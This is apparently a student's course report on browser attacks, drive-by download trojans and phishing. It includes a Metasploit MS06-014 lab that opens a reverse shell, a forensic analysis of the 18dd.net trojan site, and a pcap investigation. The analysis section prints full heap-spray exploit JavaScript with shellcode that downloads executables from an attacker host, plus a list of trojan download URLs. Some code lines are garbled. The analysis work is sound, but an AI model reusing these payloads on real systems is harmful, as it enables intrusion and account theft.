20199318 2019-2020-2 《网络攻防实践》第十二周作业
1.知识点梳理与总结
1.1 Web 游览器的技术发展与安全威胁
1.1.1 现代Web游览器的基本结构与机理
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。目前的现代Web浏览器要求能够理解和支持HTML和XHTML、Cascading Style Sheets(CSS)、ECMAScript 及 W3C Document Object Model (DOM)等一系列标准。现代浏览器的基本结构如图:
现代Web浏览器软件的内核引擎与可扩展机制:
1.1.2 Web游览器的安全问题与威胁
-
Web浏览器软件的安全困境三要素
在复杂性方面,现代Web浏览器软件由于需要支持HTTP、HTTPS, FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、SilverLight等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。
在可扩展性方面,现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客广端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。
在连通性方面,现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。 -
Web游览安全威胁位置
①针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
②针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
③针对Web浏览器软件及插件程序的渗透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这一背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行,恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益。
④针对互联网用户的社会工程学攻击威胁:最后,恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击.
1.2 Web游览器的渗透攻击威胁——网页木马
1.2.1 网页木马存在的技术基础——Web游览端安全漏洞
①网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身(如MS10-002极光和MS 10-018极风)、浏览器插件(如Office OWClO.Spreadsheet控件)、关联某些Web文件的应用程序(如Adobe Hash Player)等,由于这几类软件代码都涉及Web浏览过程,因此一旦它们中存在着可导致远程代码执行的安全漏洞,就很可能被网页木马所利用。
②除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞,由于互联网用户对应用软件的在线升级和补丁安装过程还没有像微软系统软件一样自动化和实时,因此一些流行应用软件中的安全漏洞留给网页木马的攻击时间窗口往往更长一些。
③一些影响范围广的安全漏洞,如MS06-014,会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机。
1.2.2 网页木马的机理分析 -
网页木马定义特性
通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序.因此从根本上分析,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码,是对在针对服务器端软件的传统渗透攻击代码基础上的一种演进。 -
对网页木马机理的全方位分析与理解
由于网页木马釆用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软件来访问构造的恶意Web页面内容,才可能触发渗透攻击过程。因此,与传统服务器端渗透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。
网页木马的攻击技术流程
-
网页挂马机制
(1)内嵌HTML标签
第一类策略使用内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好地隐蔽性和灵活性,攻击者还经常利用层次嵌套的内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。
(2)恶意Script脚本
第二类也是很常用的网页挂马策略是利用script脚本标签通过外部引用脚本的方式来
包含网页木马,例如,<script src="URL to Trojan">
跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签,或者比较少见的windows.open函数弹出一个新的HTML窗口链接网页木马进行攻击。
(3)内嵌对象链接
第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,如Flash中的LoadMovie。方法等。这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传,从而造成这些网站特定页面被挂马的危害后果,如淘宝网、人人网都曾遭受过此类网站挂马攻击。
(4)ARP欺骗挂马
在以上三类网站挂马策略基础上.攻击者还在使用一种危害度更高的策略——ARP欺骗挂马.这种方法不需要真正地攻陷目标网站,在攻击安全防护严密的拥有大量访问用户的著名网站时非常有效,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流最,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至冋页木马的挂马站点。 -
混淆机制
除了引入中间跳转节点进行嵌套链接,并集成多种渗透攻击代码之外,网页木马攻击网络中还往往采用了大量的混淆技术,来对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更难被检测和摧毁,这些混淆技术也被称为“免杀"。
1.2.3 网页木马的检测与分析技术 -
基于特征码匹配的传统检测方法
-
基于统计与机器学习的静态分析方法
-
基于动态行为结果判定的监测分析方法
-
基于模拟游览器环境的动态分析检测方法
1.3 揭开网络钓鱼的黑幕
1.3.1 网络钓鱼攻击的普遍技术流程
①攻击者扫描网段,寻找存有漏洞的服务器;
②服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具;
③攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
④攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
⑤ 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假甘的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
1.3.2 网络钓鱼攻击技术策略
① 在指向假冒网站的链接中使用IP地址代替域名。一些无戒备心的用户将不会检査(或不知道如何检査)这个IP地址是否来自假冒网站页面上所声称的目标机构。
② 注册发音相近或形似的DNS域名(如与工商银行域名icbc.com.cn仅有一个字母之差的lcbc.com.cn),并在上面架设假冒网站,期望用户不会发现他们之间的差异。
③ 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取,那么会在电子邮件被读取的时候自动地连接假冒网站,手动浏览时也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。
④ 对假冒网站的URL进行编码和混淆,很多用户不会注意到或者理解URL链接被做过什么处理,并会假设它是良性的。IDN欺骗技术(IDN Spoofing)就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址。
⑤ 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的IE和Outlook都被发现过存在可以被这种技术攻击的漏洞(如地址栏假冒和IFrame element漏洞)。
⑥ 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。这将导致一个“口令错误,请重试”错误,或甚至完全透明,但在每种情况下,大部分用户都不会发觉,更相信是自己的错误输入,而不会想到是由于恶意第三方的干涉。
⑦ 架设一个假冒网站,作为目标机构真实网站的代理,并偷摸地记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书从而对SSL加密保护的口令信息进行记录。
⑧ 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具(Browser Helper Object),然后由其将受害者重定向到假冒的钓鱼网站,如果成功,受害者将会被欺骗,相信他们正在访问合法的网站内容,然而实际上却在访问一个假冒的钓鱼网站。
⑨ 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件,这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时,却让用户在地址栏中看起来像是访问目标机构的合法网站。
2.动手实践
2.1 动手实践——Web游览器渗透攻击实验
任务:使用攻击机和Windows耙机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
①攻击机:BT4 Linux攻击机或Windows XP_Attacker攻击机,使用其中安装的Mctasploit渗透攻击框架软件:
②靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机.
实践步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块(ie_createobject):
②选择PAYLOAD为任意远程Shell连接:
③设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本:
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL:
⑤在攻击机的Metasploit软件中査看渗透攻击状态,并通过成功渗透攻击后建立起的
远程控制会话SESSION,在靶机上远程执行命令.
实践过程:
攻击机:kali;IP地址:192.168.200.6
靶机:windowns 2ks;IP地址:192.168.200.124
该实验所用的挂马方法利用了MS06-014漏洞。该漏洞是Windows的RDS.Dataspace ActiveX实现上存在漏洞,远程攻击者可能利用此漏洞获取主机的控制。
首先进入msfconsole,搜索MS06-014漏洞
使用该模块,并现实可利用载荷
选择第50号载荷 windows/meterpreter/reverse_tcp,设置载荷,使用show options查看所需要配置的项
设置服务器地址LHOST为攻击机地址192.168.200.6,exploit运行
可以看到恶意木马脚本构造成功,并且生成了一个 URL http://192.168.200.6:8080/8jMmPL7fi0OhFx
然后我们打开靶机,在靶机上输入此URL
回到攻击机,可以看到攻击机与靶机建立了一个 session 对话
这代表我们在靶机上成功的获得了 Meterpreter 的 Shell
然后使用命令sessions -l查看我们控制的主机
使用命令sessions -i 1
选择控制我们攻陷的靶机,并通过ipconfig命令查看靶机的ip地址
2.2取证分析实殴:剖析一个实际的网页木马攻击场景
案例分析挑战内容:2007年10月,北京大学计算机科学技术研究所信息安全匸程研究中心蜜网课题组的成员在进行分析中国万维网挂马网站的釆样分析时,发现了一个域名为18dd.net的庞大的木马宿主站点。在链接分析的过程中,发现有大量恶意网页最终都重定向到了这个站点上,这在全部的宿主站点中排名第一。进一步的研究分析表明,这个站点的恶意代码入口是http://aa.18dd.net/ww/new09.htm文件。现在你的任务是根据给出的说明逐步分析,得到最终的木马文件的内容。
这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问start.html.在这个文件中给出了new09.htm的地址,在进入new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到http://netsec.ccert.edu.cn/hacking/目录(或者附带资料中的解压缩数据目录)下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对成的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http://xx.18dd.net/aAj.htm,否则会导致散列值计算不正确而无法继续。
问题:
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
- 解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?(请举例分析)
分析过程:
两个链接http://aa.18dd.net/aa/kl.htm;http://js.users.51.la/1299644.js
分别计算MD5值为:7f60672dcd6b5e90b6772545ee219bd3与23180a42a2ff1192150231b44ffdf3d3
从我们解压的资料中找到这两个文件,并将其打开
由此可以看出,第一个文件是我们需要的文件
由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t),'x73x63x72x69x70x74'));
我们知道这个文件使用了一种被称为 XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可。当然这个xxtea_decrypt函数的第二个参数就是密钥,不过也是被加密过的,但是仅仅是一种16进制加密。转换一下即可得到密钥为script
可以用xxtea在线解密网站来解密,输入密文和密钥,点击解密,即可得到结果:
这里加密者又用到了另一种加密方式,也就是十六进制加密,对引号内的内容解密,得到如下结果,将结果保存
完整的解密结果如下:
分析上述代码,以看到它利用了应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是bd.exe)根据分析结果,对http://aa.18dd.net/aa/1.js;http://aa.18dd.net/aa/b.js;http://aa.18dd.net/aa/pps.js;http://down.18dd.net/bb/bd.cab作处理,同样计算md5的值,过程同上,可以分别得到它们的MD5值为:5d7e9058a857aa2abee820d5473c5fa4;3870c28cc279d457746b3796a262f166;5f0b8bf0385314dbe0e5ec95e6abedc2;1c1d7b3539a617517c49eee4120783b2;
去hashed文件夹中找到这四个文件:
我们将其一个一个的打开
首先是5d7e9058a857aa2abee820d5473c5fa4
还是一个十六进制加密,解开可得
这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe
的可执行文件,后面部分则是对ADODB漏洞的继续利用。再看3870c28cc279d457746b3796a262f166
文件
第一行的函数的参数(p,a,c,k,e,d)给了我们提示,连起来是“packed”。上网搜索,这其实是一个混淆工具。然后我们通过在线javascript还原网站,将其还原。还原后的代码如下所示:
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var
shellcode = unescape("%uf3e9%u0000" +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length; while (bigblock.length
< slackspace) bigblock += bigblock; fillblock = bigblock.substring(0,
slackspace); block = bigblock.substring(0, bigblock.length -
slackspace); while (block.length + slackspace < 0x40000) block = block
- block + fillblock; memory = new Array(); for (x = 0; x < 300; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length <
- buffer += "x0ax0ax0ax0a"; storm.rawParse(buffer)
这里出现了关键字 shellcode ,是二进制的机器码。这个 shellcode并不长,但它要实现很多破坏,所以我们猜测它是一个下载器,所以它一定要有下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。
URL 中必然会出现的斜线/,/的十六进制 ASCII 码是2F,那么我们就在这段shellcode 中找/。结果如下:
我们取第三个2f到末尾的内容.采用 FreShow 和16进制转换结合解密
从以上的信息中,我们可以得到一个网址:http://down.18dd.net/bb/bf.exe
,这是一个可执行文件。我们先继续分析5f0b8bf0385314dbe0e5ec95e6abedc2
文件。
八进制转换,解密结果如下:
/%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u/ pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090"); var headersize = 20; var
slackspace = headersize+shellcode.length; while
(bigblock.length<slackspace) bigblock+=bigblock; fillblock =
bigblock.substring(0, slackspace); block = bigblock.substring(0,
bigblock.length-slackspace); while(block.length+slackspace<0x40000)
block = block+block+fillblock; memory = new Array(); for (x=0; x<400;
x++) memory[x] = block + shellcode; var buffer = ''; while
(buffer.length < 500) buffer+="x0ax0ax0ax0a"; pps.Logo = buffer
同样是 shellcode ,与上述过程同理,可以解密出如下 URL http://down.18dd.net/bb/pps.exe
最后一个压缩文件将其解压缩,可以得到bd.exe执行文件
于是我们有了四个可执行文件,即 014.exe,bf.exe,pps.exe,bd.exe,校验这四个文件的 MD5 值,会发现它们都是相同的(1290ecd734d68d52318ea9016dc6fe63),说明这四个可执行文件是相同的,那么分析其中一个。
首先检验其是否加壳
接下来使用反汇编工具 W32DAsm 反汇编这个程序,首先来看一下字符串
具体如下:
" goto try" "#32770" "(T@" ",T@" ".1" ":AutoRun.inf" ":try"
"[AutoRun] open=" "program filesinternet explorerIEXPLORE.EXE"
"0813" "3烂怱VQ嬝媠咑u3离&j" "60000" "advapi32.dll" "Alletdel.bat"
"AutoRun.inf" "Button" "ChangeServiceConfig2A" "ChangeServiceConfig2W"
"cmd /c date " "cmd /c date 1981-01-12" "del "" "del %0"
"drivers/klif.sys" "Error" "FPUMaskValue"
"http://down.18dd.net/kl/0.exe" "http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe" "http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe" "http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe" "http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe" "http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe" "http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe" "http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe" "http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe" "http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe" "http://down.18dd.net/kl/9.exe" "IE
执行保护" "IEXPLORE.EXE" "IE执行保护" "if exist "" "Kernel32.dll"
"NoDriveTypeAutoRun" "ntdll.dll" "QueryServiceConfig2A"
"QueryServiceConfig2W" "S@" "serdst.exe" "shellAutocommand="
"shellexecute=" "SOFTWAREBorlandDelphiRTL"
"SoftwareMicrosoftWindowsCurrentVersionPoli" "Telephotsgoogle"
"U嬱兡餝VW3繳h訹@" "U嬱筧" "U嬱伳�SVW?�" "ZwUnmapViewOfSection" "刌@" "銼@"
"婦(鰼" "媩)(?" "燬@" "擮@" "确定" "媆$?搡?婼婥t?燖" "瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持" "圷@" "允许" "允许执行"
分析这些字符串:
1.由字符串" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist ",猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件
2.由":AutoRun.inf","[AutoRun] open=","AutoRun.inf","shellAutocommand=",猜测这个程序可能在磁盘根目录下生成自动运行的文件,以使得用户在不小心时启动程序
3.由"advapi32.dll","drivers/klif.sys","program filesinternet explorerIEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","SoftwareMicrosoftWindowsCurrentVersionPoli","Kernel32.dll","SOFTWAREBorlandDelphiRTL","ChangeServiceConfig2A","ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W"等可以猜测程序可能会
修改IE、注册表、服务和系统文件
4.由"瑞星卡卡上网安全助手 -IE防漏墙","允许","允许执行",可知这个程序有一定的防系统保护软件的能力,
5.由20个可执行文件的 URL 猜测程序要下载一大堆木马
6.由“为即插即用设备提供支持”可知要建立服务
态分析这个程序,使用的监视工具为 Process Monitor、SysInspector、Total Uninstall。首先使用 SysInspector 生成运行程序前的系统日志,运行 bd.exe 之后,再次生成一个系统日志,然后点比较日志,可以得到如下结果:
可以看到有两处变化
1.在系统文件夹(system32)下创建了一个 serdst.exe 的文件。经MD5检查,该文件就是这个可执行文件。
2.安装了一个服务。服务名为“Wdswsdewn”,显示名为"Telephotsgoogle"
接下来使用 SysInspector 进行动态分析,先生成程序运行前的日志,程序运行后再生成一份日志,将其比较,查看结果:
生成了一些文件,包括kawdbaz.exe,kawdbzy.dll等,同时删除了verclsid.exe
更改了一些注册表项目,主要是设置了一个钩子,加载了一个启动DLL,另外把Windows的自动更新功能给禁用了。
可以看到这个程序给 explorer.exe 程序和中被注入了动态链接库 kawdbzy.dll。而实际上,除了病毒的主程序文件 kawdbaz.exe 的进程外,Process Monitor、vmtool、SysInspector自己的进程中都被注入了该DLL。
当然凭借这些分析我们还是很难得出这些软件是干什么的,不过可以借用 360 软件来分析一下,这个程序是一个盗号木马.
其它19个程序分析过程同理.
问题解答:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
见上述分析过程
2.网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
使用了8进制,16进制,js 混淆,xxtea + base64加密,二进制机器码加密等。解密过程见上述分析过程
3.从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
MS06-014网马、暴风影音网马、PPStream网马、百度搜霸网马
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?
解密后发现了4个可执行文件,这四个可执行文件内容相同,都是下载器,下载了20个程序。这些程序的作用是盗取用户的账号。
2.3 攻防对抗实践: Web 浏览器渗透攻击攻防对抗
攻击方使用 Metasploit 构造出攻击至少两个不同 Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。
双方撰写详细实验分析报告, 对攻防对抗过程进行总结。
2.4 取证分析挑战实践: Web 浏览器遭遇攻击
通过分析以下给出的网络记录 pcap 文件(suspicious-time.pcap Sha1 : 1f 100c8a4996fafa80d47202881a17796941fd337), 回答以下问题并撰写实践分析报告。
1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
2.列出捕获文件中的 IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
3.列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
4.请给出攻击者执行攻击动作的概要描述。
5.攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript 脚本内容,并对它们进行解码或解密。
6.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
7.Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
8.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
分析过程:
1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
使用 chaosreader打开suspicious-time.pcap,具体操作如下:
攻击针对的协议的应该是http
2.列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
使用命令:
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort
使用命令tshark -r suspicious-time.pcap | grep 'NB.*20>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
筛选出 NBNS 协议,NBNS 协议的作用是基于 NetBIOS名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称。
这四个不同 ip 地址的主机分别映射的主机名是相同的
使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
这四个 ip 地址的主机在同一个工作组
而通过 arp 协议筛选我们可以发现,这四个 ip 地址所对应的 mac 地址是不同的
通过上述分析,可以推断这四台主机相同的(或者克隆的),但具有四个网卡,那么攻击场景的环境应该是在 VM 环境中。
rapidshare.com.eyu32.ru
对应192.168.56.50
,sploitme.com.cn
对应192.168.56.52
,shop.honeynet.sg
对应192.168.56.51
。
服务:10.0.2.2, 10.0.3.2
, 10.0.4.2, 10.0.5.2
(DHCP 服务和网关),192.168.1.1
(DNS 服务)。
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
。
模拟被侵入主机:192.168.56.50
( “rapidshare.com.eyu32.ru”)、192.168.56.51
(“shop.honeynet.sg”)。
攻击者:192.168.56.52
( “sploitme.com.cn”)
3.列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
找sploitme.com.cn,发现 404 NotFound 了,这个对应文件session_0007.part_02.html
下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html
4.请给出攻击者执行攻击动作的概要描述。
攻击者将恶意 javascript 代码注入指向sploitme.com.cn/?click=X的隐藏iframe。当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302FOUND标头重定向到伪造的404页面(数据包63、174、366)。然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,恶意软件访问www.honeynet.org。
5.攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript 脚本内容,并对它们进行解码或解密。
javaScript 混淆与加密,如下图所示
恶意页面伪装成看起来像404页面:
